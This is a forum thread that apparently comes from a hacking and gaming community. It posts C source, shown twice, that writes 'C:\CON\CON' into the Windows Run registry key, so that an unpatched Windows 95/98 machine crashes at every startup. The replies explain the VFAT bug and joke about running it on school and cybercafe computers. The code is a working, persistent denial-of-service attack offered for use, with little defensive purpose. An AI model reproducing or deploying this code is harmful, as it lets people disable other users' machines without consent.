• Log in or sign up for an account here: https://www.sythe.org/login

Force Windows 95/98 to crash on startup

Govind

The One Musketeer

Highly Respected
Mudkips
Retired Administrator
Joined
Apr 22, 2005
Sythe Gold
23
Messages
7,825
Le Monkey
Potamus
Prove it!
Sythe Awards 2011 Winner
Tier 1 Prizebox
Tortoise Penis
Trole
UWotM8?
Wait, do you not have an Archer rank?
Code:
[color=blue]#include[/color] [COLOR="DarkRed"]<windows.h>[/COLOR]
[color=blue]int[/color] APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     [color=blue]int[/color]       nCmdShow)
{
 	BYTE Data[] =[COLOR="DarkRed"] "C:\\CON\\CON"[/COLOR];
	HKEY KeyHandle;
	RegOpenKey(HKEY_LOCAL_MACHINE,[COLOR="DarkRed"]"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"[/COLOR],&KeyHandle);
	RegSetValueEx(KeyHandle,[COLOR="DarkRed"]"StartupService"[/COLOR],NULL,REG_SZ,Data,11);
	[color=blue]return[/color] 0;
}
Okay if you don't know: Whenever an unpatched Windows 95 or 98 machine tries to access C:\CON\CON it takes the entire OS down.

I've added syntax coloring.
 
Code:
[color=blue]#include[/color] [COLOR="DarkRed"]<windows.h>[/COLOR]
[color=blue]int[/color] APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     [color=blue]int[/color]       nCmdShow)
{
 	BYTE Data[] =[COLOR="DarkRed"] "C:\\CON\\CON"[/COLOR];
	HKEY KeyHandle;
	RegOpenKey(HKEY_LOCAL_MACHINE,[COLOR="DarkRed"]"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"[/COLOR],&KeyHandle);
	RegSetValueEx(KeyHandle,[COLOR="DarkRed"]"StartupService"[/COLOR],NULL,REG_SZ,Data,11);
	[color=blue]return[/color] 0;
}
Okay if you don't know: Whenever an unpatched Windows 95 or 98 machine tries to access C:\CON\CON it takes the entire OS down.

I've added syntax coloring.

Basically, it disables a startup service?
 
Le Monkey
Potamus
Prove it!
Sythe Awards 2011 Winner
Tier 1 Prizebox
Tortoise Penis
Trole
UWotM8?
Wait, do you not have an Archer rank?
No, it adds C:\CON\CON to the startup registry.

VFAT collapses whenever you try that on 95/98, which causes the whole OS to crash.
 
Don't you need admin access to get into the registry? Properly set permissions will foil this.
 
Le Monkey
Potamus
Prove it!
Sythe Awards 2011 Winner
Tier 1 Prizebox
Tortoise Penis
Trole
UWotM8?
Wait, do you not have an Archer rank?
You put too much faith in the intelligence of average Windows 9x users.
 
You put too much faith in the intelligence of average Windows 9x users.

No one uses Windows 9x anymore, unless you are trying this in a cybercafe in Goa or Bombay, where they still do use Windows 9x :O
 
Le Monkey
Potamus
Prove it!
Sythe Awards 2011 Winner
Tier 1 Prizebox
Tortoise Penis
Trole
UWotM8?
Wait, do you not have an Archer rank?
Actually some of the teacher computers at my school run Windows 98. There are some people still using Windows 9x domestically too.
 
I run 98 on all my work computers, there more stable.
 
Le Monkey
Potamus
Prove it!
Sythe Awards 2011 Winner
Tier 1 Prizebox
Tortoise Penis
Trole
UWotM8?
Wait, do you not have an Archer rank?
Try running C:\CON\CON on them and see if they've patched it already :D
 
I run 98 on all my work computers, there more stable.

IMO Windows 2000 is better and more stable, because it runs on NTFS.
 
Runescape Gamblingrunescape gambling
Back
Top